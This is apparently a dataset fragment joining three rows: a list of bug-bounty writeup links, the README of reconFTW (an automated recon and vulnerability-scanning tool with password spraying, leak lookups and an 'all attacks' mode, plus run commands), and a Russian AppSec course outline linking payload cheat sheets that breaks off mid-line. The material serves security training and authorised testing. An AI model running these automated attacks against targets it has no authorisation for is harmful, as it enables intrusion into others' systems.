\n\n---\n"}}},{"rowIdx":254,"cells":{"text":{"kind":"string","value":"# Writeups\n\n## Web\n\n### Facebook\n\n- https://medium.com/bugbountywriteup/disclose-private-attachments-in-facebook-messenger-infrastructure-15-000-ae13602aa486\n- https://www.vulnano.com/2019/03/facebook-messenger-server-random-memory.html\n- https://vinothkumar.me/20000-facebook-dom-xss/\n\n### Google\n- https://www.ezequiel.tech/p/36k-google-app-engine-rce.html\n- https://www.ezequiel.tech/p/10k-host-header.html\n- https://www.ezequiel.tech/2019/01/75k-google-cloud-platform-organization.html\n- https://www.ezequiel.tech/p/5k-service-dependencies.html\n- https://www.ezequiel.tech/p/75k-google-services-mix-up.html\n- https://blog.bentkowski.info/2018/06/xss-in-google-colaboratory-csp-bypass.html\n- https://blog.bentkowski.info/2018/09/another-xss-in-google-colaboratory.html\n- https://blog.bentkowski.info/2017/11/yet-another-google-caja-bypasses-hat.html\n- https://medium.com/@marin_m/how-i-found-a-5-000-google-maps-xss-by-fiddling-with-protobuf-963ee0d9caff\n- https://blog.bentkowski.info/2016/07/xss-es-in-google-caja.html\n- https://blog.bentkowski.info/2015/05/xss-via-file-upload-wwwgooglecom.html\n- https://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html\n- https://blog.bentkowski.info/2014/09/in-this-post-ill-explain-to-you.html\n- https://ysx.me.uk/app-maker-and-colaboratory-a-stored-google-xss-double-bill/\n- https://blog.avatao.com/How-I-could-steal-your-photos-from-Google/\n- https://medium.com/@raushanraj_65039/google-clickjacking-6a04132b918a\n\n### Paypal\n- https://medium.com/@adrien_jeanneau/how-i-was-able-to-list-some-internal-information-from-paypal-bugbounty-ca8d217a397c\n- http://artsploit.blogspot.com/2016/08/pprce2.html\n- http://artsploit.blogspot.com/2016/01/paypal-rce.html\n- https://seanmelia.files.wordpress.com/2015/12/paypal-xxe-doc.pdf\n- https://www.anquanke.com/post/id/86477\n\n\n### Hackerone\n- https://hackerone.com/reports/489146\n- https://hackerone.com/reports/398054\n- https://hackerone.com/reports/474656\n\n### Airbnb\n- https://buer.haus/2017/03/09/airbnb-chaining-third-party-open-redirect-into-server-side-request-forgery-ssrf-via-liveperson-chat/\n\n\n### Shopify\n- https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html\n\n# Categories\n\n## Web\n### JavaScript Prototype Poisoning \n- https://bbs.pediy.com/thread-249643.htm\n- https://medium.com/intrinsic/javascript-prototype-poisoning-vulnerabilities-in-the-wild-7bc15347c96\n- https://hackerone.com/reports/310443\n- https://xz.aliyun.com/t/2802\n- https://github.com/HoLyVieR/prototype-pollution-nsec18\n- https://xz.aliyun.com/t/2735\n\n### Bugzilla \n- https://bugzilla.mozilla.org/show_bug.cgi?id=1544304\n\n### Websocket Fuzzer\n- https://www.vdalabs.com/2019/03/05/hacking-web-sockets-all-web-pentest-tools-welcomed/\n\n### ImageMagick Exp\n- https://www.softwaresecured.com/imagemagick-rce-take-2/\n- http://gv7.me/articles/2018/ghostscript-rce-20180821/\n\n### Fastjson\n- https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062\n- https://github.com/FasterXML/jackson-databind/issues?q=label%3ACVE+is%3Aclosed\n- https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/\n\n### K8S\n- https://www.freebuf.com/news/196993.html\n"}}},{"rowIdx":255,"cells":{"text":{"kind":"string","value":"

\n
\n \"reconftw\"\n
\n reconFTW\n
\n

\n\n\n

\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \"Docker\n \n

\n\n \n

Summary

\n \n**ReconFTW** automates the entire process of reconnaisance for you. It outperforms the work of subdomain enumeration along with various vulnerability checks and obtaining maximum information about your target. \n \nReconFTW uses lot of techniques (passive, bruteforce, permutations, certificate transparency, source code scraping, analytics, DNS records...) for subdomain enumeration which helps you getting the maximum and the most interesting subdomains so that you be ahead of the competition. \n \nIt also performs various vulnerability checks like XSS, Open Redirects, SSRF, CRLF, LFI, SQLi, SSL tests, SSTI, DNS zone transfers, and much more. Along with these, it performs OSINT techniques, directory fuzzing, dorking, ports scanning, screenshots, nuclei scan on your target.\n \nSo, what are you waiting for Go! Go! Go! :boom:\n \n\n📔 Table of Contents\n-----------------\n- [💿 Installation:](#-installation)\n - [a) In your PC/VPS/VM](#a-in-your-pcvpsvm)\n - [b) Docker container 🐳 (2 options)](#b-docker-container--2-options)\n - [1) From DockerHub](#1-from-dockerhub)\n - [2) From repository](#2-from-repository)\n- [⚙️ Config file:](#️-config-file)\n- [Usage:](#usage)\n- [Example Usage:](#example-usage)\n- [Axiom Support: :cloud:](#axiom-support-cloud)\n- [BBRF Support: :computer:](#bbrf-support-computer)\n- [Sample video:](#sample-video)\n- [:fire: Features :fire:](#fire-features-fire)\n - [Osint](#osint)\n - [Subdomains](#subdomains)\n - [Hosts](#hosts)\n - [Webs](#webs)\n - [Extras](#extras)\n- [Mindmap/Workflow](#mindmapworkflow)\n - [Data Keep](#data-keep)\n - [Main commands:](#main-commands)\n - [How to contribute:](#how-to-contribute)\n - [Need help? :information_source:](#need-help-information_source)\n - [You can support this work buying me a coffee:](#you-can-support-this-work-buying-me-a-coffee)\n- [Sponsors ❤️](#sponsors-️)\n- [Thanks :pray:](#thanks-pray)\n \n---\n \n# 💿 Installation:\n \n## a) In your PC/VPS/VM\n \n> You can check out our wiki for the installation guide [Installation Guide](https://github.com/six2dez/reconftw/wiki/0.-Installation-Guide) :book: \n \n- Requires [Golang](https://golang.org/dl/) > **1.15.0+** installed and paths correctly set (**$GOPATH**, **$GOROOT**)\n \n```bash\ngit clone https://github.com/six2dez/reconftw\ncd reconftw/\n./install.sh\n./reconftw.sh -d target.com -r\n```\n \n## b) Docker container 🐳 (2 options)\n\n- Docker parameters usage\n\n``` bash\n-d -> Detached \n-v $PWD/reconftw.cfg:/root/Tools/reconftw/reconftw.cfg -> Share CFG with the Docker\n-v $PWD/Recon/:/root/Tools/reconftw/Recon/ -> Share output folder with the Host\n--name reconftwSCAN -> Docker name\n--rm -> Automatically remove the container when it exits\n'-d target.com -r' -> reconftw parameters\n```\n\n### 1) From [DockerHub](https://hub.docker.com/r/six2dez/reconftw)\n \n```bash\ndocker pull six2dez/reconftw:main\n# Download and configure CFG file\nwget https://raw.githubusercontent.com/six2dez/reconftw/main/reconftw.cfg\nmkdir Recon\ndocker run -d -v $PWD/reconftw.cfg:/root/Tools/reconftw/reconftw.cfg -v $PWD/Recon/:/root/Tools/reconftw/Recon/ --name reconftwSCAN --rm six2dez/reconftw:main -d target.com -r\n```\n \n### 2) From repository\n \n```bash\ngit clone https://github.com/six2dez/reconftw\ncd reconftw/Docker\ndocker build -t reconftw .\ndocker run -v $PWD/reconftw.cfg:/root/Tools/reconftw/reconftw.cfg -v $PWD/Recon/:/root/Tools/reconftw/Recon/ --name reconftwSCAN --rm reconftw -d target.com -r\n\n```\n \n# ⚙️ Config file:\n> A detailed explaintion of config file can be found here [Configuration file](https://github.com/six2dez/reconftw/wiki/3.-Configuration-file) :book:\n \n- Through ```reconftw.cfg``` file the whole execution of the tool can be controlled.\n- Hunters can set various scanning modes, execution preferences, tools, config files, APIs/TOKENS, personalized wordlists and much more.\n \n
\n

\n :point_right: Click here to view default config file :point_left: \n \n```yaml\n#################################################################\n#\t\t\treconFTW config file\t\t\t#\n#################################################################\n\n# General values\ntools=~/Tools\nSCRIPTPATH=\"$( cd \"$(dirname \"$0\")\" >/dev/null 2>&1 ; pwd -P )\"\nprofile_shell=\".$(basename $(echo $SHELL))rc\"\nreconftw_version=$(git rev-parse --abbrev-ref HEAD)-$(git describe --tags)\nupdate_resolvers=true\nproxy_url=\"http://127.0.0.1:8080/\"\n#dir_output=/custom/output/path\n\n# Golang Vars (Comment or change on your own)\nexport GOROOT=/usr/local/go\nexport GOPATH=$HOME/go\nexport PATH=$GOPATH/bin:$GOROOT/bin:$HOME/.local/bin:$PATH\n\n# Tools config files\n#NOTIFY_CONFIG=~/.config/notify/notify.conf # No need to define\n#SUBFINDER_CONFIG=~/.config/subfinder/config.yaml # No need to define\nAMASS_CONFIG=~/.config/amass/config.ini\nGITHUB_TOKENS=${tools}/.github_tokens\n\n# APIs/TOKENS - Uncomment the lines you want removing the '#' at the beginning of the line\n#UDORK_COOKIE=\"c_user=XXXXXXXXXX; xs=XXXXXXXXXXXXXX\"\n#SHODAN_API_KEY=\"XXXXXXXXXXXXX\"\n#XSS_SERVER=\"XXXXXXXXXXXXXXXXX\"\n#COLLAB_SERVER=\"XXXXXXXXXXXXXXXXX\"\n#findomain_virustotal_token=\"XXXXXXXXXXXXXXXXX\"\n#findomain_spyse_token=\"XXXXXXXXXXXXXXXXX\"\n#findomain_securitytrails_token=\"XXXXXXXXXXXXXXXXX\"\n#findomain_fb_token=\"XXXXXXXXXXXXXXXXX\"\n#slack_channel=\"XXXXXXXX\"\n#slack_auth=\"xoXX-XXX-XXX-XXX\"\n\n# File descriptors\nDEBUG_STD=\"&>/dev/null\"\nDEBUG_ERROR=\"2>/dev/null\"\n\n# Osint\nOSINT=true\nGOOGLE_DORKS=true\nGITHUB_DORKS=true\nMETADATA=true\nEMAILS=true\nDOMAIN_INFO=true\nMETAFINDER_LIMIT=20 # Max 250\n\n# Subdomains\nSUBDOMAINS_GENERAL=true\nSUBPASSIVE=true\nSUBCRT=true\nSUBANALYTICS=true\nSUBBRUTE=true\nSUBSCRAPING=true\nSUBPERMUTE=true\nSUBTAKEOVER=true\nSUBRECURSIVE=true\nSUB_RECURSIVE_PASSIVE=false # Uses a lot of API keys queries\nZONETRANSFER=true\nS3BUCKETS=true\nREVERSE_IP=false\n\n# Web detection\nWEBPROBESIMPLE=true\nWEBPROBEFULL=true\nWEBSCREENSHOT=true\nUNCOMMON_PORTS_WEB=\"81,300,591,593,832,981,1010,1311,1099,2082,2095,2096,2480,3000,3128,3333,4243,4567,4711,4712,4993,5000,5104,5108,5280,5281,5601,5800,6543,7000,7001,7396,7474,8000,8001,8008,8014,8042,8060,8069,8080,8081,8083,8088,8090,8091,8095,8118,8123,8172,8181,8222,8243,8280,8281,8333,8337,8443,8500,8834,8880,8888,8983,9000,9001,9043,9060,9080,9090,9091,9092,9200,9443,9502,9800,9981,10000,10250,11371,12443,15672,16080,17778,18091,18092,20720,32000,55440,55672\"\n# You can change to aquatone if gowitness fails, comment the one you don't want\nAXIOM_SCREENSHOT_MODULE=webscreenshot # Choose between aquatone,gowitness,webscreenshot\n\n# Host\nFAVICON=true\nPORTSCANNER=true\nPORTSCAN_PASSIVE=true\nPORTSCAN_ACTIVE=true\nCLOUD_IP=true\n\n# Web analysis\nWAF_DETECTION=true\nNUCLEICHECK=true\nNUCLEI_SEVERITY=\"info,low,medium,high,critical\"\nURL_CHECK=true\nURL_GF=true\nURL_EXT=true\nJSCHECKS=true\nFUZZ=true\nCMS_SCANNER=true\nWORDLIST=true\nROBOTSWORDLIST=true\n\n# Vulns\nVULNS_GENERAL=false\nXSS=true\nCORS=true\nTEST_SSL=true\nOPEN_REDIRECT=true\nSSRF_CHECKS=true\nCRLF_CHECKS=true\nLFI=true\nSSTI=true\nSQLI=true\nBROKENLINKS=true\nSPRAY=true\nCOMM_INJ=true\nPROTO_POLLUTION=true\n\n# Extra features\nNOTIFICATION=false # Notification for every function\nSOFT_NOTIFICATION=false # Only for start/end\nDEEP=false\nDEEP_LIMIT=500\nDIFF=false\nREMOVETMP=false\nREMOVELOG=false\nPROXY=false\nSENDZIPNOTIFY=false\nPRESERVE=true # set to true to avoid deleting the .called_fn files on really large scans\n\n# HTTP options\nHEADER=\"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0\"\n\n# Threads\nFFUF_THREADS=40\nHTTPX_THREADS=50\nHTTPX_UNCOMMONPORTS_THREADS=100\nGOSPIDER_THREADS=50\nGITDORKER_THREADS=5\nBRUTESPRAY_THREADS=20\nBRUTESPRAY_CONCURRENCE=10\nARJUN_THREADS=20\nGAUPLUS_THREADS=10\nDALFOX_THREADS=200\nPUREDNS_PUBLIC_LIMIT=0 # Set between 2000 - 10000 if your router blows up, 0 is unlimited\nPUREDNS_TRUSTED_LIMIT=400\nWEBSCREENSHOT_THREADS=200\nRESOLVE_DOMAINS_THREADS=150\nPPFUZZ_THREADS=30\n\n# Timeouts\nCMSSCAN_TIMEOUT=3600\nFFUF_MAXTIME=900 # Seconds\nHTTPX_TIMEOUT=10 # Seconds\nHTTPX_UNCOMMONPORTS_TIMEOUT=10 # Seconds\n\n# lists\nfuzz_wordlist=${tools}/fuzz_wordlist.txt\nlfi_wordlist=${tools}/lfi_wordlist.txt\nssti_wordlist=${tools}/ssti_wordlist.txt\nsubs_wordlist=${tools}/subdomains.txt\nsubs_wordlist_big=${tools}/subdomains_big.txt\nresolvers=${tools}/resolvers.txt\nresolvers_trusted=${tools}/resolvers_trusted.txt\n\n# Axiom Fleet\n# Will not start a new fleet if one exist w/ same name and size (or larger)\nAXIOM=false\nAXIOM_FLEET_LAUNCH=false\nAXIOM_FLEET_NAME=\"reconFTW\"\nAXIOM_FLEET_COUNT=10\nAXIOM_FLEET_REGIONS=\"eu-central\"\nAXIOM_FLEET_SHUTDOWN=true\n# This is a script on your reconftw host that might prep things your way...\n#AXIOM_POST_START=\"~/Tools/axiom_config.sh\"\n\n# BBRF\nBBRF_CONNECTION=false\nBBRF_SERVER=https://demo.bbrf.me/bbrf\nBBRF_USERNAME=user\nBBRF_PASSWORD=password\n\n# TERM COLORS\nbred='\\033[1;31m'\nbblue='\\033[1;34m'\nbgreen='\\033[1;32m'\nyellow='\\033[0;33m'\nred='\\033[0;31m'\nblue='\\033[0;34m'\ngreen='\\033[0;32m'\nreset='\\033[0m'\n\n\t\n```\n
\n \n# Usage:\n \n> Check out the wiki section to know which flag performs what all steps/attacks [Usage Guide](https://github.com/six2dez/reconftw/wiki/2.-Usage-Guide) :book:\n \n**TARGET OPTIONS**\n \n| Flag | Description |\n|------|-------------|\n| -d | Single Target domain *(example.com)* |\n| -l | List of targets *(one per line)* |\n| -m | Multiple domain target *(companyName)* |\n| -x | Exclude subdomains list *(Out Of Scope)* |\n| -i | Include subdomains list *(In Scope)* |\n \n**MODE OPTIONS**\n \n| Flag | Description |\n|------|-------------|\n| -r | Recon - Full recon process (without attacks like sqli,ssrf,xss,ssti,lfi etc.) |\n| -s | Subdomains - Perform only subdomain enumeration, web probing, subdomain takeovers |\n| -p | Passive - Perform only passive steps |\n| -a | All - Perform whole recon and all active attacks |\n| -w | Web - Perform only vulnerability checks/attacks on particular target |\n| -n | OSINT - Performs an OSINT scan (no subdomain enumeration and attacks) |\n| -c | Custom - Launches specific function against target |\n| -h | Help - Show this help menu |\n \n**GENERAL OPTIONS**\n \n| Flag | Description |\n|------|-------------|\n| --deep | Deep scan (Enable some slow options for deeper scan, _vps intended mode_) |\n| -f | Custom config file path |\n| -o | Output directory |\n| -v | Axiom distributed VPS |\n \n# Example Usage:\n \n**To perform a full recon on single target**\n \n```bash\n./reconftw.sh -d target.com -r\n```\n \n**To perform a full recon on a list of targets**\n \n```bash\n./reconftw.sh -l sites.txt -r -o /output/directory/\n```\n \n\n**Perform full recon with more time intense tasks** *(VPS intended only)*\n \n```bash\n./reconftw.sh -d target.com -r --deep -o /output/directory/\n```\n \n**Perform recon in a multi domain target**\n \n```bash\n./reconftw.sh -m company -l domains_list.txt -r\n```\n\n**Perform recon with axiom integration**\n \n```bash\n./reconftw.sh -d target.com -r -v\n```\n \n **Perform all steps (whole recon + all attacks) a.k.a. YOLO mode**\n \n```bash\n./reconftw.sh -d target.com -a\n```\n\n**Show help section**\n \n```bash\n./reconftw.sh -h\n```\n \n# Axiom Support: :cloud:\n![](https://i.ibb.co/Jzrgkqt/axiom-readme.png)\n> Check out the wiki section for more info [Axiom Support](https://github.com/six2dez/reconftw/wiki/5.-Axiom-version)\n* As reconFTW actively hits the target with a lot of web traffic, hence there was a need to move to Axiom distributing the work load among various instances leading to reduction of execution time.\n* During the configuration of axiom you need to select `reconftw` as provisoner. \n* You can create your own axiom's fleet before running reconFTW or let reconFTW to create and destroy it automatically just modifying reconftw.cfg file.\n\n# BBRF Support: :computer:\n* To add reconFTW results to your [BBRF instance](https://github.com/honoki/bbrf-server) just add IP and credentials on reconftw.cfg file section dedicated to bbrf.\n* During the execution of the scans the results will be added dinamically when each step ends.\n* Even you can set up locally your BBRF instance to be able to visualize your results in a fancy web UI.\n \n# Sample video:\n \n![Video](images/reconFTW.gif)\n \n# :fire: Features :fire:\n \n ## Osint\n- Domain information parser ([domainbigdata](https://domainbigdata.com/))\n- Emails addresses and users ([theHarvester](https://github.com/laramies/theHarvester), [emailfinder](https://github.com/Josue87/EmailFinder))\n- Password leaks ([pwndb](https://github.com/davidtavarez/pwndb) and [H8mail](https://github.com/khast3x/h8mail))\n- Metadata finder ([MetaFinder](https://github.com/Josue87/MetaFinder))\n- Google Dorks ([uDork](https://github.com/m3n0sd0n4ld/uDork))\n- Github Dorks ([GitDorker](https://github.com/obheda12/GitDorker))\n## Subdomains\n - Passive ([subfinder](https://github.com/projectdiscovery/subfinder), [assetfinder](https://github.com/tomnomnom/assetfinder), [amass](https://github.com/OWASP/Amass), [findomain](https://github.com/Findomain/Findomain), [crobat](https://github.com/cgboal/sonarsearch), [waybackurls](https://github.com/tomnomnom/waybackurls), [github-subdomains](https://github.com/gwen001/github-subdomains), [Anubis](https://jldc.me), [gauplus](https://github.com/bp0lr/gauplus))\n - Certificate transparency ([ctfr](https://github.com/UnaPibaGeek/ctfr), [tls.bufferover](tls.bufferover.run) and [dns.bufferover](dns.bufferover.run)))\n - Bruteforce ([puredns](https://github.com/d3mondev/puredns))\n - Permutations ([Gotator](https://github.com/Josue87/gotator))\n - JS files & Source Code Scraping ([gospider](https://github.com/jaeles-project/gospider))\n - DNS Records ([dnsx](https://github.com/projectdiscovery/dnsx))\n - Google Analytics ID ([AnalyticsRelationships](https://github.com/Josue87/AnalyticsRelationships))\n - Recursive search.\n - Subdomains takeover ([nuclei](https://github.com/projectdiscovery/nuclei))\n - DNS takeover ([dnstake](https://github.com/pwnesia/dnstake))\n - DNS Zone Transfer ([dnsrecon](https://github.com/darkoperator/dnsrecon))\n\n## Hosts\n- IP and subdomains WAF checker ([cf-check](https://github.com/dwisiswant0/cf-check) and [wafw00f](https://github.com/EnableSecurity/wafw00f))\n- Port Scanner (Active with [nmap](https://github.com/nmap/nmap) and passive with [shodan-cli](https://cli.shodan.io/), Subdomains IP resolution with[resolveDomains](https://github.com/Josue87/resolveDomains))\n- Port services vulnerability checks ([searchsploit](https://github.com/offensive-security/exploitdb))\n- Password spraying ([brutespray](https://github.com/x90skysn3k/brutespray))\n- Cloud providers check ([clouddetect](https://github.com/99designs/clouddetect))\n\n## Webs\n- Web Prober ([httpx](https://github.com/projectdiscovery/httpx) and [unimap](https://github.com/Edu4rdSHL/unimap))\n- Web screenshot ([webscreenshot](https://github.com/maaaaz/webscreenshot) or [gowitness](https://github.com/sensepost/gowitness))\n- Web templates scanner ([nuclei](https://github.com/projectdiscovery/nuclei) and [nuclei geeknik](https://github.com/geeknik/the-nuclei-templates.git))\n- Url extraction ([waybackurls](https://github.com/tomnomnom/waybackurls), [gauplus](https://github.com/bp0lr/gauplus), [gospider](https://github.com/jaeles-project/gospider), [github-endpoints](https://gist.github.com/six2dez/d1d516b606557526e9a78d7dd49cacd3) and [JSA](https://github.com/w9w/JSA))\n- URLPatterns Search ([gf](https://github.com/tomnomnom/gf) and [gf-patterns](https://github.com/1ndianl33t/Gf-Patterns))\n- XSS ([dalfox](https://github.com/hahwul/dalfox))\n- Open redirect ([Oralyzer](https://github.com/r0075h3ll/Oralyzer))\n- SSRF (headers [interactsh](https://github.com/projectdiscovery/interactsh) and param values with [ffuf](https://github.com/ffuf/ffuf))\n- CRLF ([crlfuzz](https://github.com/dwisiswant0/crlfuzz))\n- Favicon Real IP ([fav-up](https://github.com/pielco11/fav-up))\n- Javascript analysis ([subjs](https://github.com/lc/subjs), [JSA](https://github.com/w9w/JSA), [LinkFinder](https://github.com/GerbenJavado/LinkFinder), [getjswords](https://github.com/m4ll0k/BBTz))\n- Fuzzing ([ffuf](https://github.com/ffuf/ffuf))\n- Cors ([Corsy](https://github.com/s0md3v/Corsy))\n- LFI Checks ([ffuf](https://github.com/ffuf/ffuf))\n- SQLi Check ([SQLMap](https://github.com/sqlmapproject/sqlmap))\n- SSTI ([ffuf](https://github.com/ffuf/ffuf))\n- CMS Scanner ([CMSeeK](https://github.com/Tuhinshubhra/CMSeeK))\n- SSL tests ([testssl](https://github.com/drwetter/testssl.sh))\n- Broken Links Checker ([gospider](https://github.com/jaeles-project/gospider))\n- S3 bucket finder ([S3Scanner](https://github.com/sa7mon/S3Scanner))\n- Prototype Pollution ([ppfuzz](https://github.com/dwisiswant0/ppfuzz))\n- URL sorting by extension\n- Wordlist generation\n- Passwords dictionary creation ([pydictor](https://github.com/LandGrey/pydictor))\n\n## Extras\n- Multithread ([Interlace](https://github.com/codingo/Interlace))\n- Custom resolvers generated list ([dnsvalidator](https://github.com/vortexau/dnsvalidator))\n- Docker container included and [DockerHub](https://hub.docker.com/r/six2dez/reconftw) integration\n- Allows IP/CIDR as target\n- Resume the scan from last performed step\n- Custom output folder option\n- All in one installer/updater script compatible with most distros\n- Diff support for continuous running (cron mode)\n- Support for targets with multiple domains\n- Raspberry Pi/ARM support\n- 6 modes (recon, passive, subdomains, web, osint and all)\n- Out of Scope Support\n- Notification system with Slack, Discord and Telegram ([notify](https://github.com/projectdiscovery/notify)) and sending zipped results support\n \n# Mindmap/Workflow\n \n![Mindmap](images/mindmapv2.png)\n \n## Data Keep\n \nFollow these simple steps to end up having a private repository with your `API Keys` and `/Recon` data.\n \n* Create a private __blank__ repository on `Git(Hub|Lab)` (Take into account size limits regarding Recon data upload)\n* Clone your project: `git clone https://gitlab.com/example/reconftw-data`\n* Get inside the cloned repository: `cd reconftw-data`\n* Create branch with an empty commit: `git commit --allow-empty -m \"Empty commit\"`\n* Add official repo as a new remote: `git remote add upstream https://github.com/six2dez/reconftw` (`upstream` is an example)\n* Update upstream's repo: `git fetch upstream`\n* Rebase current branch with the official one: `git rebase upstream/main master`\n \n### Main commands:\n \n* Upload changes to your personal repo: `git add . && git commit -m \"Data upload\" && git push origin master`\n* Update tool anytime: `git fetch upstream && git rebase upstream/main master`\n \n## How to contribute:\n \nIf you want to contribute to this project you can do it in multiple ways:\n- Submitting an [issue](https://github.com/six2dez/reconftw/issues/new/choose) because you have found a bug or you have any suggestion or request.\n- Making a Pull Request from [dev](https://github.com/six2dez/reconftw/tree/dev) branch because you want to improve the code or add something to the script.\n \n## Need help? :information_source:\n \n- Take a look at the [wiki](https://github.com/six2dez/reconftw/wiki) section. \n- Check [FAQ](https://github.com/six2dez/reconftw/wiki/7.-FAQs) for commonly asked questions. \n- Ask for help in the [Telegram group](https://t.me/joinchat/TO_R8NYFhhbmI5co)\n \n## You can support this work buying me a coffee:\n \n[](https://www.buymeacoffee.com/six2dez)\n\n \n# Sponsors ❤️\n**This section shows the current financial sponsors of this project** \n \n \n[](https://github.com/0xtavian)\n\n# Thanks :pray:\n* Thank you for lending a helping hand towards the development of the project!\n \n- [Spyse](https://spyse.com/)\n- [Networksdb](https://networksdb.io/)\n- [Intelx](https://intelx.io/)\n- [BinaryEdge](https://www.binaryedge.io/)\n- [Censys](https://censys.io/)\n- [CIRCL](https://www.circl.lu/)\n- [Whoxy](https://www.whoxy.com/)\n"}}},{"rowIdx":256,"cells":{"text":{"kind":"string","value":"# SHIFT AppSec 2019\n\n## Стек технологий\n- Python3 + Flask ([uwsgi-nginx-flask-docker](https://github.com/tiangolo/uwsgi-nginx-flask-docker))\n- Docker\n- Git\n- Firefox\n- Burp Suite\n- некоторые зависимости для python\n\n## Как работаем\nШаги:\n1) Регистрируемся на [github.com](https://github.com), если нет аккаунта\n2) Капитан команды делает fork [репозитория](https://github.com/act1on3/shift2019) к себе (кнопка `fork` вверху проекта)\n3) Капитан команды добавляет в collaborators проекта остальных участников (`страница проекта` - `Settings` - `Collaborators` - `Search by username`)\n4) Теперь репозиторий команды может редактировать любой учатник команды со своего аккаунта\n5) Переходим (создаем) в директорию с названием уязвимости (если создаем, то используем lowercase и `_` вместо пробелов, например `jwt_insecure`)\n6) Копируем шаблон `../example/README.md` в свою рабочую директорию\n7) Используем директорию, редактируем `README.md`\n8) Ресерчим!\n9) Изменения заливаем через коммиты\n\n---\n**Запрещается:**\n- изменять файлы в чужой рабочей директории (чужая уязвимость)\n- сохранять нетекстовые файлы (исключение - картинки)\n- лучше не переводить на русский специфичные определения\n---\n\n## Результаты\nЧто хочется увидеть в итоге:\n1) Полный ресерч по пунктам в файле `README.md` в директории с атакой/уязвимостью\n2) Улучшение уязвимого приложения: расширить векторы возможной атаки; показать другие возможности эксплуатации; улучшить внешний вид уязвимого приложения\n3) Добавить к уязвимому приложению безопасный вариант функционала. Т.е. новый метод, где атака/уязвимость не будет проявляться\n\n## Подготовка\n### Точно необходимо\n1) Текстовый редактор, где удобно работать с Markdown (в принципе, можно редактировать средствами Github)\n2) Firefox (можно и другой, но его удобнее настраивать)\n3) Burp Suite ([ссылка](https://portswigger.net/burp/communitydownload))\n\n### Желательно\n1) Python3 + IDE (советую Pycharm)\n2) Git\n3) Docker\n\nЕсли возникли проблемы с установкой желательного ПО - можно попробовать использовать VirtualBox (для виртуальной машины лучше ставить [Ubuntu](https://www.ubuntu.com/download/desktop))\n\nЕсли возникли проблемы только с Docker - подходите, разберемся как быть:)\n\n## Информация для ресерча\n### Open redirect\nСсылки:\n- Интерактивный урок: https://www.hacksplaining.com/exercises/open-redirects\n- Описание, детектирование, пейлоады: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20redirect\n- Open Redirect от OWASP: https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet\n- Пример репорта баги: https://hackerone.com/reports/387007 и Google Dork `site:hackerone.com open redirect`\n- Пейлоады для баг-баунти: https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/open-redirect.md\n- Статья с дополнительными фишками (обходы фильтров): https://medium.com/bugbountywriteup/cvv-2-open-redirect-213555765607\n- Дополнительная информация: https://2017.zeronights.org/wp-content/uploads/materials/ZN17_Karbutov_CRLF_PDF.pdf\n\n### CRLF\nСсылки:\n- Расширенное описание: https://prakharprasad.com/crlf-injection-http-response-splitting-explained/\n- Описание, основная инфа, пейлоады: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CRLF%20injection\n- XSS через CRLF на hackerone: https://vulners.com/hackerone/H1:192749\n- Пример репорта баги: Google Dork `site:hackerone.com crlf`\n- Шпаргалка от EdOverflow: https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md\n- CRLF to XSS: https://habr.com/ru/company/pt/blog/247709/\n- Дополнительная информация: https://2017.zeronights.org/wp-content/uploads/materials/ZN17_Karbutov_CRLF_PDF.pdf\n\n### SSRF\nСсылки:\n- Описание от DSec: https://dsec.ru/wp-content/uploads/2018/09/techtrain_ssrf.pdf\n- Описание, пейлоады, техники: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SSRF%20injection/README.md\n- Очень дорогой SSRF-баг на hackerone: https://hackerone.com/reports/341876\n- A new Era of SSRF by Orange Tsai: https://www.blackhat.com/docs/asia-18/asia-18-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf\n\n### Template Injection\n- Статья с описанием от albinowax: https://portswigger.net/blog/server-side-template-injection\n- Ресерч, пэйлоады и др: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20injections\n- Статья с описанием от defcon.ru: https://defcon.ru/web-security/3840/\n- Статьи с описанием SSTI во Flask: https://nvisium.com/blog/2015/12/07/injecting-flask.html https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii.html\n- Инструмент для автоматической эксплуатации: https://github.com/epinna/tplmap\n\n### CSRF\n- Интерактивный урок: https://www.hacksplaining.com/exercises/csrf\n- Варианты защиты: https://habr.com/ru/post/318748/\n- Описание и защита: https://learn.javascript.ru/csrf\n- Обход при эксплуатации при типе данных JSON: https://www.geekboy.ninja/blog/exploiting-json-cross-site-request-forgery-csrf-using-flash/ и https://blog.appsecco.com/exploiting-csrf-on-json-endpoints-with-flash-and-redirects-681d4ad6b31b\n- Описание, обход, эксплуатация: https://2017.zeronights.org/wp-content/uploads/materials/ZN17_MikhailEgorov%20_Neat_tricks_to_bypass_CSRF_protection.pdf\n- Описание, защита - https://2017.zeronights.org/wp-content/uploads/materials/csrf_cors_etc.pdf\n\n### JWT insecure\n- Описание проблем технологии: https://www.slideshare.net/snyff/jwt-insecurity\n- Потестировать токены: https://jwt.io/\n- Шпаргалка с чек-листом для тестирования: https://assets.pentesterlab.com/jwt_security_cheatsheet/jwt_security_cheatsheet.pdf\n- Описание, информация: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token\n\n### PHP Type Juggling\n- Описание, таблицы, примеры багов: https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf\n- Информация об эксплуатации: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/PHP%20juggling%20type\n\n### Deserialization\n- Ресерч десериализация в Java: https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf\n- Шпаргалка от OWASP: https://www.owasp.org/index.php/Deserialization_Cheat_Sheet#Guidance_on_Deserializing_Objects_Safely\n- Шпаргалка от GrrrDog: 